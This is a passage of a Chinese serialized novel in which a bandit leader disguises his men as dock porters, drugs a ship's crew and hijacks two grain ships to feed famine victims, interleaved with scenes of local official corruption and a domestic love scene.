“退烧了,也不咳嗽了,多亏了你及时把他送到这里,不然他就……” 春花眼睛一眨,眼泪就流了下来。 李二狗安慰道:“嫂子,这不是我应该做得吗?以后有事你就来找我。” 春花不停地点头,岁月悄然流逝,她在生活的磨砺中渐渐失去了曾经的纯真与俏皮,只剩下沧桑的内心和疲惫的身躯。 “你过得好吗?” 面对李二狗突如其来的关心,春花有些不知所措。 跟着牛旺财这些年,她似乎从来没有考虑过这个问题。 自己过得好吗? 李二狗每个月给她五块大洋,丰衣足食,她有丈夫、有儿子,似乎过得很好。 但这一切似乎又跟牛旺财毫无关系。 牛犊子生命垂危,牛旺财首先想到的是他要留下看家,他根本就不是一个可以依靠的男人。 和李二狗比起来,牛旺财好像一无是处,但他却是自己的丈夫。 嫁鸡随鸡,嫁狗随狗,这就是现实,谁也无法改变的现实! “我挺好的。” “春花,我希望你过得好,牛犊子也过得好,这样我才能安心,你懂我的意思吗?” “我懂,我们都好好的,以后还会越来越好。” 春花眼含热泪,深情凝视着李二狗。 李二狗伸出手,轻轻为她拭去眼角的泪水,那一刻,春花彻底泪崩。 第225章 疯狂的计划 晚上六点,广德楼。 孙竹刚一身便衣,来到二楼一个包厢,李二狗正在里面等他。 “兄弟,你说咱们去家里多好?你嫂子经常念叨你,非得把我叫到这里来。” 李二狗嘿嘿一笑,说道:“大哥,今晚要说的事不适合在家里说。” 菜上齐后,李二狗还未说话,孙竹刚率先端起了酒杯。 “兄弟,这两天一直没找到合适的机会,大哥得好好感谢你,没有你,就没有我的今天,来,大哥敬你一杯。” “大哥,咱们是兄弟,你总是这么见外,再说,王县长提拔你,那是因为你作风扎实、工作出色,并不是因为我。” 两人碰了一下,一饮而尽。 “兄弟,你没在政府部门干过,你不懂得官场上的那些道道,哪有天上掉馅饼的好事?哪次升迁背后没有跑送?有句话说得好,跑送的不一定提拔,但不跑送的一定不提拔,我这次能当上副局长,完全是因为你的推荐。” “大哥,没想到你们官场这么复杂,不过即使有我的原因,咱们是亲兄弟,你也无需感谢我,大哥好,我跟着也好,你说是不是?” “哈哈,兄弟说得对,以后咱们兄弟拧成一股绳,在江东这个地面上,没人敢欺负咱们。” “大哥说得对,我敬大哥一杯。” 几杯酒下肚,孙竹刚已有了醉意。 “大哥,有句话我不知当说不当说?” “兄弟尽管说,大哥给你办。” “大哥,王正直敲了全县地主豪绅的竹杠,现在地主们可都恨着他,私下没有不骂的。” “这个我也有所耳闻,不过骂归骂,他们也拿县长没有办法。” “可县政府征集了这么多粮食,王县长却只是拿出了九牛一毛出来赈灾,实在是有些说不过去,灾民怨声载道,说不定哪天就会出事,人被逼急了,可是什么事都干得出来。” 孙竹刚完全没有明白李二狗对自己说这些话的意思。 “兄弟的意思是?” “大哥,上次江东码头五十万斤粮食被抢的事可在全县都传开了,是不是有这么一档子事?” 孙竹刚点了点头,没想到这么隐秘的事情竟在全县传开了,确实是好事不出门,坏事传千里。 “是的,确有此事。” “牛局长就是因为这件事才失去了王县长的信任,我担心大哥重蹈他的覆辙,这次筹集的粮食比上次还多,可还在县政府仓库里堆着呢,万一出点事,鞭子一定会抽在大哥身上。” 孙竹刚深有同感。 “兄弟,你为大哥考虑的太周到了,不过你放心,局里安排了几十名警察在仓库看守,不会有事的。” “大哥,你还是没懂我的意思,我是怕王正直的所作所为激起民变,到时候要是灾民闹将起来,你忍心对他们开枪吗?最后出了事不还是你的责任吗?” “哈哈,兄弟,你有所不知,今天下午王县长刚刚找我商量过此事,这些粮食明晚就装船运走。” “啊?上次就是因为在码头装船才出的事,这次不会再出问题吧?” “上次是牛得水无能,这次一定不会有问题,我专门从下边民团调上来二百名队员参与守卫,绝不会有问题。” “那我就放心了,这两天我真担心大哥出事,寝食难安,又怕嫂子担心,所以才不敢贸然去你家里。” “兄弟对大哥真是没话说,来,咱们再喝一杯。” 两人又干了一杯,孙竹刚眼神迷离,已醉了八九分。 “大哥,这么多粮食搬上船,码头那几个工人可不够用啊,需不需要兄弟给你雇些人过来?” “你这一说我正好想起来,王县长今天特意吩咐我雇一些可靠的短工,明天晚上到码头搬运粮食。” “这点小事就交给我吧,大哥放心,我一定办好。” “兄弟,这雇人的费用可不能太高,王县长那边不好交代。” “大哥,现在到处都是闲人,只要你管顿饭,他们都会抢着来,雇人的费用你正常报,大家自己留着就行。” “兄弟啊,还是你有办法,到时候咱们兄弟平分。” “大哥,你又这么见外,你得自罚一杯。” “好,哈哈,我甘愿受罚。” 李二狗叫了一辆黄包车把孙竹刚送回家,然后自己去医院陪了春花一晚。 第二天天刚蒙蒙亮,李二狗就上了清风寨。 议事厅内,其他人还没有到,只有李二狗和宋孬蛋两个人。 “孬蛋,最近山寨怎么样?” “各方面都很好,按照你的吩咐,咱们山寨定期让有亲人的兄弟下山给他们家里送粮食,现在大家都感恩山寨,纷纷表示愿意为山寨赴汤蹈火。” “还有呢?” “还有就是大家私下都在议论什么时候能放开找媳妇的禁令,大家这些天可都憋坏了,嘿嘿。” “我看是你小子憋坏了吧?这个不行,说好六个月就是六个月,命令如果朝令夕改,损失的是咱们这些做领导的权威。” “狗哥说得对,我再给他们紧紧箍,发现一例处理一例,绝不姑息。” “孬蛋,你可以例外,如果有看中的,可以私下里接触接触,我给你特批。” 其实这是李二狗在故意试探宋孬蛋。 宋孬蛋毫不含糊地说道:“谢谢狗哥关心,但命令是针对大家的,我作为领导,当然不能例外,否则难以服众。” “你小子行,我没看错人。” “嘿嘿,都是狗哥领导的好。” 两人正说话间,陈老三等人都走了进来。 宋孬蛋说道:“狗哥,人到齐了。” 李二狗正襟危坐,特意清了清嗓子。 “现在开始开会,事情紧急,咱们就不废话了,我直接分工,待会大家有什么意见,再提出来。” 李二狗安排完分工之后,大家都被他这个大胆的计划震惊了。 “狗哥,这能行吗?” “会不会太危险了?” “实在是没有把握啊!” 李二狗不等大家讨论完,便直接说道:“大家有更好的主意现在可以提出来,咱们共同研究。” 几个人面面相觑,然后都默不作声,谁都没有更好的主意。 “既然没有,那就这么决定了,大家分头去准备吧。” 第226章 腰都累断了 李二狗知道,自己回到清风寨如果不回家看看李素文,她肯定会生气。 他快步回到家中,李素文竟然没在家,望冬也不在。 李二狗正感觉奇怪的时候,后山突然传来几声枪响。 “哪里打枪?” 李二狗快步走了出去,正好碰见陈老三走了过来。 “老三,这是哪里在打枪?” 陈老三笑道:“狗哥,你不要紧张,是咱们山寨娘子军正在后山进行射击训练呢。” 李二狗当初之所以在清风寨建立娘子军,完全是为了解决山寨兄弟们的婚姻大事,没想到现在李素文却把自己全部的精力投入到这支娘子军的训练之中。 “训练就训练,打什么枪啊?子弹那么金贵!” 陈老三嘿嘿一笑,说道:“狗哥,嫂子要打,我们谁敢管?她就是要打炮,我们也不敢拦啊!” “这不行,回头你告诉孬蛋一声,分给娘子军的子弹不能太多,不然咱们山寨这点子弹不够她们嚯嚯的。” “狗哥,你最近是没见嫂子,她和望冬现在天天扎着皮带、绑着裤腿,腰里别着两把驳壳枪,那样子别提有多威武了,我看咱们还是不要打击她们的积极性,几颗子弹才值几个钱?千金难买她们高兴不是?嘿嘿。” “你狗日的真不会过日子,为了哄女人开心,什么都舍得!” “是啊,只有望冬开心,她就是要天上的月亮,我也能上天摘下来送给她。” “没想到你狗日的还是个情种,等忙完这件事,我和你嫂子说说,让你和望冬早日圆房。” “嘿嘿,谢谢狗哥,这一天我等得太久了。” “好了,别在我面前表演深情了,分给你的任务很重,赶紧去准备吧。” 李二狗看时间已经不早,便没有再等李素文,自己匆匆赶回了县城。 下午五点钟,一群人来到江东码头,宋孬蛋、陈嘎子、张石头等人夹杂在其中。 此时,江东码头警察林立、守卫森严。 从各地征调上来的民团队员在码头成群结队的巡逻,凤凰镇民团队长张大发正站在一个昏暗的路灯下抽烟。 码头入口处架着一挺机关枪,四名全副武装的警察持枪看守。 他们看到黑压压来了这么多人,立刻变得紧张起来,他们举着枪,对准了这群衣衫褴褛之人。 “站住!你们干什么的?” “老总,来,抽支烟。” 一个工头满脸堆笑走向岗哨,赶忙从兜里掏出一盒烟,抽出几支分给警察,警察根本不为所动。 “这里是码头重地,闲杂人等一律不许进入,你们赶紧离开,否则别怪我们子弹不长眼!” 工头点头哈腰地说道:“老总,我们是警察局孙局长雇来的短工,今晚来码头扛活的。” “那你们等着,我打电话问问。” 警察摸起岗亭的电话打给码头办公室,孙竹刚为了以防万一,亲自坐镇码头指挥。 听到来了一群短工,孙竹刚便知道是李二狗雇的人到了,说道:“把他们带到东边仓库,告诉他们不要随便走动。” 警察放下电话,吆喝道:“你们都跟紧我,进去之后不要乱走,否则后果自负,都听清楚了没有?” “老总,你放心,我们这些人懂规矩,来,您抽支烟。” 警察这才接过烟,工头赶紧擦了一根火柴点燃。 “我也是奉命行事,我们走吧。” 众人跟着这个警察来到东边一间仓库,仓库门口放着几筐馒头和窝头,饭香立即引起大家一阵骚动。 这时,孙竹刚亲自来到仓库。 “你们谁是领头的?” 工头依旧是一副点头哈腰的模样。 “老总,我是领头的,请您吩咐。” “你跟我过来一下,”孙竹刚把工头带到仓库一个角落里,低声问道:“工钱的事,来之前都给你们讲好了吗?” “老总,都讲好了,只需管饭,不用给工钱。” “那就好,不过你们放心,我绝对不会亏待你们,今晚的饭管够,但是你一定要嘱咐好他们,从这里出去之后,把嘴巴都给我闭紧喽,否则别怪老子不客气。” “老总放心,我们知道规矩。” “那就好,先去吃饭吧,吃完饭待在这里不许出去,干活的时候会有人来叫你们。” “谢谢老总,谢谢老总。” “看你小子挺机灵,今晚的饭就由你来分配吧,晚上把活干好,我不会亏待你。” “谢谢老总,请您放心,我一定把活干漂亮。” 孙竹刚离开后,工头站在饭筐前,大声说道:“大家排好队,都不要抢,老总说了,白面馒头每人一个,窝头管够。” 他找了两个相熟的人负责给大家分发馒头,每人一个,馒头刚发下去,很多人三两口就塞进肚子里。 他们已经很久没有吃顿饱饭了。 夜幕降临,码头上开始忙碌起来。 一辆一辆的大卡车接踵而至,工人们开始来回地往船上搬运小麦。 为了赶进度,两艘船同时停靠在码头上装小麦。 宋孬蛋把肩上一个麻袋放在甲板上,大口喘了几口气,才低声对身边一个戴着毡帽的人说道:“这一麻袋少说也有二百斤,这要真是扛上一晚上,咱们腰都累断了。” 那个人抬起头,竟是李二狗。 原来他不放心,自己也换了一身破烂衣服混在这群工人里面。 “孬蛋,我看你狗日的是好日子过多了,忘记自己出身了吧?” 李二狗嘴上这么说,自己也是累得腰都直不起来了。 “狗哥,我看就这样吧,咱们先找个地方猫起来。” “再等等,现在时间尚早,别让他们发现了。” 李二狗一发话,宋孬蛋只能硬着头皮继续去扛麻袋。 静雯从省城找来的两个人已经累得有些支撑不住了,他们哪受过这种罪! 两个人弯着腰,扶着船舷,大口大口地喘着粗气。 他们这个样子哪里像吃过苦的短工,一看就是城里出生的娇生惯养之人。 李二狗瞅准机会把他们两个人拉到一个角落里。 第227章 打劫轮船 “让两位兄弟受苦了。” “没有没有,我们还能坚持。” “你们听我说,待会你们瞅准机会,先找一个隐蔽的地方藏起来,记住,你们两个不要在一条船上,一定要分开。” “李先生放心,我们知道该怎么做。” “那边那几个人,你们在干什么?” 李二狗感觉这个声音好熟悉,一抬头,正看到张大发朝他们这边走来。 “你们赶紧走,我来拖住他。” “那你怎么脱身?” “你们别管我,我自有办法。” 李二狗说完,三个人就朝着不同方向跑去。 “那三个人,听见没有?给我站住!再不站住我就开枪了!” 张大发一边喊一边快步向李二狗跑去。 李二狗前方是轮船护栏,前面就是滔滔江水,他已无路可走。 他只能背对着张大发站在原地,他腰里带着家伙,可要是一开枪就前功尽弃了。 但如果被张大发认出来,自己就是有一百张嘴也解释不清。 脚步声越来越近,李二狗手心直冒汗! “双手举高,慢慢转过身来!” 李二狗只能举起双手,正当他还在犹豫要不要开枪击毙张大发的时候,身后突然传来一声“哎吆”声。 “对不起,老总,对不起,没砸伤您吧?” 李二狗转头看见宋孬蛋扛着一条麻袋砸到张大发身上。 “你他娘的瞎眼了?走路不看道吗?信不信老子一枪崩了你?” “对不起老总,对不起,刚才我走的太急了,这里又黑,没看到您,您就饶了我吧!” 张大发从地上爬起来,活动一下筋骨,并没有被砸伤。 “快滚!以后走路长点眼!” “谢谢老总,谢谢老总。” 张大发抬头看向前方,李二狗早已消失的无影无踪。 “真他娘的晦气!” 张大发总感觉刚才那个身影有点熟悉。 他站在船头,看着码头上来回穿梭的人群,寻找了半天,也没再看到那个身影。 一直忙活到凌晨五点所有的小麦才装卸完毕。 由于天还未亮,本来可以不再管饭就可以把这些短工打发走,但孙竹刚看到两艘货轮马上就要驶离码头,悬了一夜的心总算放了下来,他一高兴,又每人发了一个馒头三个窝头。 工头数人头的时候,发现少了六个人,但他并没有声张,代领了他们的馒头窝头,高高兴兴地离开了码头。 王正直来到江东码头,双手叉腰,看着装得满满的两艘货轮,兴奋地满面红光。 “孙局长,这件事你办得非常漂亮,我要重重的奖赏你。” 孙竹刚赶紧说道:“都是县长您领导有方,卑职只不过按照您的指示做了一些具体工作罢了。” “哈哈,孙局长就不要过谦了,你放心,跟着我王正直干,我绝不会亏待你。” “谢谢县长,卑职愿为您效犬马之劳。” “孙局长,事不宜迟,现在就让他们出发吧。” “县长,还有一件事,卑职还没来得及向您请示,每艘船我又安排了十名警察一路护送,听说魏县一带正在打仗,咱们不得不防啊。” “你做得非常好,孙局长,我没有看错你,那就出发吧。” 迎着初升的太阳,两艘船一前一后先后起锚驶向省城方向。 “开饭了。” 随着有人在大喇叭里一声吆喝,大家都纷纷跑向餐厅去吃早饭,特殊时期,轮船上的饭也是限量供应,去晚了就只能吃些残羹冷炙,轮船甲板上只剩下驾驶室的二副和一个水手。 一个人端着两份饭来到驾驶室。 “张二副,我把早饭给你们送来了。” 张二副点了点头,看着来人,问道:“你是新来的吗?我怎么看你有点眼生?” “是啊,我是厨房新来的,一直在后厨,张二副可能没有见过我。” “原来是这样,那你去忙吧。” “嘿嘿,没想到在驾驶室可以看得这么清楚,看那滚滚江水,真是气势磅礴啊,如果我也能像你们这样会开轮船就好了。” 张二副和水手哈哈大笑起来。 “你小子还算有点见识!不过你以为轮船是谁都能开的吗?开轮船得经过严格的培训,一般人没有个三年五载根本开不了。” “嘿嘿,我倒觉得开轮船也没那么复杂,和我在老家赶马车拉粪差不多。” “哈哈,你的无知真是令我无语啊!赶马车?哈哈,你来赶个我看看。” “试试就试试,本来就不难嘛!” 张二副仿佛受到了极大的侮辱,他高尚的的职业不允许一个小小的帮厨在这里指手画脚。 “你来,你要开不了,老子一脚把你踹江里去。” 没想到小帮厨还真走到船舵面前,在张二副瞠目结舌中,小帮厨已经熟练地转动起了船舵。 “确实不难嘛,和赶马车是一样的。” 张二副一把抢过船舵,质问道:“你到底是什么人?” “来替你开轮船的人!” “不许动!” 驾驶室的门突然被从外面一脚踢开,李二狗蒙着面持枪对准了他们。 张二副吓得后退两步,哆哆嗦嗦地问道:“你们是什么人?船上有很多警察你们难道不知道吗?” “哈哈,你放心,那些人现在正躺在餐厅里睡觉呢。” 原来李二狗安排人在米汤里下了蒙汗药,所有人现在都被迷倒了。 按照计划,李二狗和陈嘎子一组,李二狗负责控制驾驶室,陈嘎子负责控制锅炉房。 另一艘轮船由宋孬蛋和张石头负责,他们按照李二狗的提前部署采取了同样的方法。 省城来的两个人分别在驾驶室开着轮船。 “你们现在只要听我指挥,我可以保证你们的生命安全,否则只能把你们扔进江里喂鱼了。” “我们听,我们听。” 在李二狗的指挥下,这艘船停靠在了凤山镇码头。 码头上早已人山人海,黑压压一大片一大片,聚集了有好几千人。 宋孬蛋则指挥着把轮船停靠在汤泉镇码头,那里同样聚集了几千人。 船靠岸后,灾民们一哄而上,老弱妇孺扛起一袋二百多斤的麻袋都毫不费劲! 第228章 滥用职权 “王县长,不好了,出大事了!” 王正直正在办公室里哼唱定军山,孙竹刚直接推门冲了进来。 “孙局长,什么事这么大惊小怪?慢慢说。” “县长,有一个参与护送轮船的兄弟打电话回来,他们说……” 王正直预感到事情不妙,他猛地站起身子,失声问道:“他们说什么?” “他们说……他们说咱们的轮船被抢了!” 王正直坚持不敢相信自己的耳朵,两艘大轮船,那么多的小麦,怎么可能被抢? “你确定吗?有没有和省城发电报确认过?” “还没来得及,不过应该错不了,打电话的人亲口说的!” “他娘的!”王正直猛地一拍桌子,“谁吃了熊心豹子胆,敢抢老子的东西?” “他们说是……是灾民,他们说看到成千上万的灾民抢粮食。” “这怎么可能?!”王正直抓起桌上的茶杯愤怒地砸到对面的墙上,“灾民如何上得了轮船?那可是整整一百万斤小麦?他们怎么可能做得到?” “这个目前还不知道,他们说有人在轮船餐厅饭菜里下了蒙汗药,所有的人全被药倒了。” 这两艘轮船是王正直通过自己在省城的关系找来了,难道轮船上的人有问题不成? “孙局长,你马上去现场查查有没有什么线索,另外,不论是轮船上的人还是护送的那些人都要挨个审查,不要放过任何一个蛛丝马迹。” “是,县长,我马上去办。” 孙竹刚走后,王正直瘫坐在椅子上,两行浊泪顺着脸颊流了下来。 一百万斤小麦,四十万块大洋,就这么没了! 他的心在滴血,心痛得几乎无法呼吸。 孙竹刚带人来到凤山镇码头,码头上一片狼藉,一艘货轮还停靠在码头上。 看到有警察来,船长付志高急忙跑了过来去。 货船被劫,而且锅炉房还被人破坏,他的船抛锚了,只能在原地等待。 “老总,你们可算来了,我们被歹徒抢劫,船上的小麦全被抢劫一空,您得快点派人把货给追回来啊。” “你慢点说,到底是怎么一回事。” “我也不知道是怎么回事,今天早上我们吃饭的时候,不知道什么原因就晕了过去,事后想想应该是被人下了药。” “谁下的药?” “肯定是抢劫之人下的药。” “有没有人见过歹徒的相貌?” “有,我们船上的二副见过。” “快去把他叫来。” 付志高冲着一个人大声喊道:“张二副,你过来一下。” 张二副到现在脑子还是懵的,他是被吓懵的。 李二狗虽然一直蒙着面,但开船的那个人却露出了自己真实面目。 为了安全起见,李二狗本想把二副和水手都杀了,但那样确实有滥杀无辜之嫌。 下船之前,李二狗警告他们,说知道他们是哪个轮船公司,家住在哪里,他们都一清二楚,如果你们不想死于非命,就闭紧自己的嘴巴。 “你就是张二副?” “是的,老总,我就是。” “你见过歹徒的相貌?” “我见过,他们闯进驾驶室的时候,我正在开船,但是他们当时都蒙着面,我并没有看到他们长什么样。” “娘的,你这也叫见过?一群废物!” “对不起,老总,不过有一点我可以肯定,他们肯定不是我们船上的人。” “怎么?你怀疑是我们的人?” 张二副吓得连连摆手。 “不敢,不敢,我不是这个意思,我的意思是他们应该是偷偷上船的人。” 孙竹刚立马想到了那群打短工的人,歹徒很可能是借搬运小麦的机会偷偷躲在船舱里,然后等轮船开走后又动的手。 “现场到底有多少灾民?” “得有上万人,”张二副夸张地说道,“当时轮船靠岸后,有人就指挥着这些人从船上搬运粮食,一看就是提前预谋好的。” “看清那个指挥的人长什么样了没有?” “他们蒙着面,看不清长相。” 又他娘的蒙着面! “你们船上的人都有嫌疑,必须全部跟我回局里调查。” “老总,我们是受害者啊,怎么还要审查我们?你们这样涉嫌滥用职权。” “什么他娘的滥用职权?在江东这个地面上就是老子说了算,”孙竹刚转头对一个警察说道:“把他们全部带回局里。” “孙局长,”那个警察一脸为难,“这么多人,咱们的车拉不下啊。” “废物,赶紧打电话让局里再派车过来,另外去把汤泉镇码头的人也带到局里去” 孙竹刚说完,不再理会付志高的喊冤,独自去了凤山镇。 进入凤山镇,街道上很安静,并没有成群结队的难民,这让孙竹刚惊讶不已。 县城尽管实行严管,但街上还是有很多乞讨的难民,这里街道上竟然没有灾民! 不过街道两旁大量紧闭的店门,证明这里和其他地方一样,也在经历着大萧条。 好不容易看到有一家开门的铁匠铺,孙竹刚便走了进去。 “老哥,生意怎么样?” 铁匠是一个黑黝黝的中年汉子,身形消瘦,不像是能打铁之人。 他没有说话,只是指了指烧铁的炉子,那里早已没有一点火星。 “老哥,前两天我来这里,还看到街上很多乞讨的人,现在怎么都没有了?” 铁匠用看外星人一样的眼神瞅着孙竹刚,说道:“你这人说话可真有意思,你是真不懂还是装不懂?家里有粮了,谁还在外边乞讨?” 铁匠的话证明了孙竹刚的判断。 “你是说从船上搬来的粮食?” 铁匠狐疑地盯着孙竹刚,没有说话。 孙竹刚连忙叹息一声,解释道:“哎,实在是可惜,我得到消息的时间去晚了,赶到的时候一粒粮食也没有拿到,想死的心都有了。” “点背不能怨社会,那是你自己的原因。” “老哥,你说以后还会不会有这种机会?我家也在等米下锅啊。” “那谁能知道?估计是没有了,这种好事怎么可能经常有!” “那老哥知不知道是什么人做的?我想去找他们问问,能不能送我一点粮食。” “这个我就不知道了,都是一传十,十传百才得到的消息,谁知道最早是谁传出来的?你到底买不买东西?不买我就关门了。” 孙竹刚只能悻悻地走出了铁匠铺。 第229章 今生离不开你 孙竹刚刚回到警察局,就被牛得水叫去了办公室。 牛得水此时颇有一股幸灾乐祸看热闹的嫌疑。 “孙局长,事情办得怎么样了?” “牛局长,我刚从案发现场回来,现在还没有找到线索。” “我敢肯定还是上次那伙人干的,他们可真是神通广大,简直让我们防不胜防啊。” 孙竹刚心想,上一次是因为你看守码头不力出的事,这次出事是在轮船上,和自己的关系并不大。 “现在还不能确定是什么人干的,我已经把轮船上的人都带了回来,先审审看吧,我总觉得这件事是内部人所为。” “内部人?孙局长,你说话可要谨慎啊,上次出事可没有这家轮船公司参与。” 其实孙竹刚也知道不可能是轮船公司的人所为,因为他们不可能为了灾民选择铤而走险! 但是出了这么大的事他又不能什么都不做,那样会显得他很无能。 其实在内心深处,他怀疑歹徒是混入做短工那群人中间混上的轮船,但那群短工是李二狗找的,李二狗又是按照他的要求找的,这件事如果被某些有心人利用,对自己很不利。 所以这个疑点他没有告诉任何人。 孙竹刚现在所做的一切并不是为了破案,而是做给王正直看。 歹徒把小麦劫下来救济灾民,孙竹刚内心是敬佩他们的侠义心肠。 即使自己真找到什么线索,他也会睁一只眼闭一只眼,并不打算把歹徒缉拿归案。 “牛局长,我只是随口一说,不过这件事确实蹊跷,歹徒对我们的行动好像了如指掌。” “孙局长,这个案子就交给你全权负责,你不要让王县长失望才好。” 孙竹刚暗骂一句老油条,遇见事就往外推。 “牛局长,这么大的案子,我建议还是由您亲自坐镇指挥,我全力配合你。” “孙局长就不要谦虚了,我老了,我这个位置早晚是你们年轻人的。” “牛局长,警察局要是没有你坐镇,那不得乱套了?您是我们的主心骨。” 牛得水现在颇有些破罐子破摔的感觉,既然县长已经不信任他,他就干脆什么都不干。 “好了,这事不争论了,就由你负责,有什么进展直接向王县长汇报。” 说完,他端起桌前的茶杯,吸溜吸溜地喝起了茶,孙竹刚只能退了出来。 他安排人把轮船上的人挨个都审了一遍,又把在轮船上值守的警察也筛检了一遍,全部没有发现异常。 清风寨议事厅。 “狗哥,这次这事干得太漂亮了,这一百万斤粮食,够灾民们吃一段时间了。” 陈老三还没有从兴奋中缓过来。 但李二狗知道,冬天还未到来,他们做的这些,在这么大的灾情面前只是杯水车薪。 “孬蛋,下一步,咱们山寨要节省开支了。” “狗哥,咱们山寨存的粮食,应付到二三年没问题,你不用担心。” “马上就到冬小麦播种时节,如果错过这次机会,灾民们明年就更难过了。” 宋孬蛋马上了解了李二狗的担忧,现在灾民食不果腹,哪里还有麦种进行播种。 “狗哥,你是想等播种的时候把咱们的粮食分给灾民?” “先走一步看一步吧,这么大的灾情,我想省政府也不会总压着不上报,到时候救济粮拨下来,一切问题就都解决了。” 话题过于沉重,很快就散了会。 李二狗往家走,陈老三紧紧跟着他。 “老三,你狗日的跟着我干什么?该干嘛干嘛去!” 陈老三嘿嘿一笑,说道:“狗哥,你答应我要和嫂子说说的。” “说什么?” “你忘了?我和望冬的事。” 李二狗还真忘了。 “当然没忘,我正准备去和你嫂子商量这件事。” “谢谢狗哥,嘿嘿。” “房子的事你得抓点紧,兄弟们还等着住。” “我一直盯着的,不过咱们人手太少,又不方便在外边找人,没有个一年半载根本建不完。” “尽量往前赶吧,你别跟着我了,你在的话,有些话我不好说。” 陈老三便知趣地离开了,李二狗回到家中,望冬正在院子里洗衣服。 “狗哥,你回来了。” “嗯,你素文姐呢?” 望冬向屋里努了努嘴。 “正在屋里洗澡呢,刚才我们训练出了一身汗。” 李二狗笑了笑,便推门走了进去。 “说让你进来的?快出去。” 李二狗看到李素文坐在热气腾腾的澡盆中,下意识地双手捂在胸前,一脸娇羞。 “嘿嘿,都老夫老妻了你还怕我看?你什么地方我没看过?” “你讨厌!快出去,人家洗澡有什么好看的!” “我给你搓搓背,你够不着。” 李二狗说着已经走到澡盆前,手触摸着她光滑细腻的后背,李素文不自主地颤抖了一下。 “你的皮肤真白嫩,就像婴儿一般。” 李素文娇嗔道:“净胡说,说得好像你摸过婴儿的肌肤似的。” “我……”李二狗差点脱口而出他摸过,“我虽然没有摸过婴儿的肌肤,但我看的书上是这么写的。” “你都看些什么乱七八糟的书?不学好。” “金瓶梅可是一本好书,我好多技巧和姿势都是跟这本书上学的,你不是一直都说好用吗?” “你……你坏死了,”李素文站起来用手掬水泼在李二狗脸上,“让你坏,让你坏。” 李二狗伸出舌头舔了舔脸上的水珠,故意露出一副淫邪的样子。 “我喜欢喝你的洗澡水。” “你……” 李素文赤身裸体地站在澡盆中,胸前波涛汹涌,李二狗一低头就拱了上去。 “你讨厌!你讨厌!不要……” 李素文闭上眼睛,一副享受的表情。 完事后,李二狗问道:“怎么样?满意吗?这也是金瓶梅这本书上教我的。” “你……我不理你了。” 李二狗从后面抱住李素文,趴在她耳边柔声说道:“素文,有你真好,真想就这么抱着你一辈子。” 李素文感受到李二狗的炽热,柔声回应道:“今生我是离不开你了!只希望你能真心对我。” “我会的!” 两人又翻滚在一起。 第230章 李二狗失态 两人嬉闹了一会儿,李素文躺在李二狗怀里。 “素文,老三和望冬的事,咱们给他们选一个好日子就把事办了吧?我看老三天天急得像猫抓似的。” “嘁,你们男人天天就想着下面那点事!” “我不能自己吃饱喝足让兄弟饿出病来不是?他们也都老大不小了,此事不能再拖了!” “回头我问问望冬自己的意思吧,这事毕竟还得她自己做主,然后再去查查黄历看看哪天合适。” 李素文说完竟有点伤感。 “怎么还哭了?望冬又不是远嫁,天天都能见。” “她就像我的亲妹妹,现在要嫁人了,还不让人难过一下吗?哼!” 李二狗从后面紧紧抱着李素文。 “好了,大白天就在床上腻歪,也不怕让人笑话,我要起床了。” “我搂自己媳妇睡觉谁笑话?咱们再睡会。” 李素文笑道:“你自己睡吧,我去找望冬。” 李二狗只能一起起了床。 两人在院子里并没有找到望冬。 “这丫头去哪了?我出去看看。” “我也得回胡家大院,最近不太平。” 李二狗刚到胡家大院门口,就听到身后有人喊他。 回头一看,是张大发。 “张队长,你怎么来了?找我有事?” “李管家,你这大忙人,我都来找你好几趟了,一直见不到你。” 张大发觉得刚才李二狗的背影有点熟悉,很像他在轮船上看见的那个人。 难道…… 如果真是李二狗干的,那他真是狗胆包天了!竟敢抢劫县长的粮食! 李二狗并没有看出张大发脸上的惊讶之色,忙道歉道:“实在是不好意思,我们老爷在省城住院,我这得两头跑。” 张大发话里有话地说道:“这么大的胡家大院,全靠李管家一个人撑着,实在是辛苦啊。” “吃人家老胡家的饭,就得给人家干!这也是没有办法的事。别在这站着了,咱们里面说。” 两人来到客厅,张大发愈发觉得李二狗的身形和他那晚在轮船上见到的人非常相似。 “张队长,不知道找我所为何事?” “李管家,上次在沈家大院和你说的那事,你考虑的怎么样了?” 李二狗早就料到张大发此行的目的就是为了联防联保的事。 “我和我们大奶奶汇报过了,大奶奶觉得你们驻扎在凤凰镇,离我们胡家大院有点远,真出了事时间上来不及。” 张大发急忙说道:“凤凰镇到这里,骑马的话也就半个钟头,其实很方便的。” “我和她也是这么说的,你张队长的人品和你们民团的实力我都是非常认可的,我非常想促成此事,可我们大奶奶不同意,我也实在是没有办法。” 张大发脸上有些不痛快,他知道李二狗是在敷衍他。 整个江东都知道,胡家大院现在是李二狗说了算。 “李管家,你是不是还有什么顾虑?” “绝对没有!咱们是兄弟,我对你是非常认可的,可……,要不这样,等我们老爷回来,我再向他请示请示,女人头发长,见识短,和她讲不明白道理。” “是价钱上不合适?”张大发眼睛看了看门外,低声说道:“李管家,咱们三七分怎么样?” 李二狗没想到张大发如此执着。 自从沈家大院出事之后,沈必达对张大发一肚子意见,每个月给的钱粮比以前少了五成,他现在日子不好过! “张队长,你想到哪里去了?你说这话可没把我当兄弟看待!” 张大发急忙解释道:“李管家,你别误会,我不是那个意思,我只是想尽快促成此事,你也知道,最近难民成群结队,晚上实在是不安全。” 李二狗前两天已经给吴有德发了电报。 吴有德已经派人把两挺机关枪,二十支中正步枪,还有几千发子弹送到了胡家大院,现在的胡家大院是真用不着张大发和他的民团。 “张队长,你说的这些我都知道,可大奶奶死活不同意,我真是没有办法。要不这样,我再找我们大奶奶说说,你等我消息好不好?” 张大发内心非常失望,他一直以为和胡家大院的合作是水到渠成的事情,没想到李二狗竟然不愿意。 “李管家,你这两天到底去哪了?”张大发突然问道。 李二狗内心一惊,表面却很镇静,他笑着问道:“不知道张队长这话是什么意思?” 张大发冷笑道:“李管家不要紧张,我只是随便问问,昨天有两艘货船在江上被抢了,想必李管家一定听说了吧?” “听说了,听说还是江东县政府租的货船。” “李管家以为是什么人干的?” 张大发一直暗中观察着李二狗的表情,他显得非常镇静。 他表现的越是镇静,张大发感觉他心里越有鬼! 这种事,普通人听到都是惊讶不已,而李二狗却并没有表现出一丝惊讶! 事出反常必有妖! “张队长,这你得去问警察局,我一个小老百姓怎么能知道?” “李管家可能还不知道,这次县警察局抽调了部分民团去江东码头参与警卫,我有幸被选中。” “张队长的实力有目共睹,抽调你去参与此事实至名归。” “呵呵,李管家就没去码头吗?” “张队长,你到底想说什么?不妨直说,我都被你说糊涂了,我又不是警察又不是民团队员,我去码头干什么?” 张大发盯着李二狗,故意说道:“李管家可以去扛麻袋啊,哈哈!” 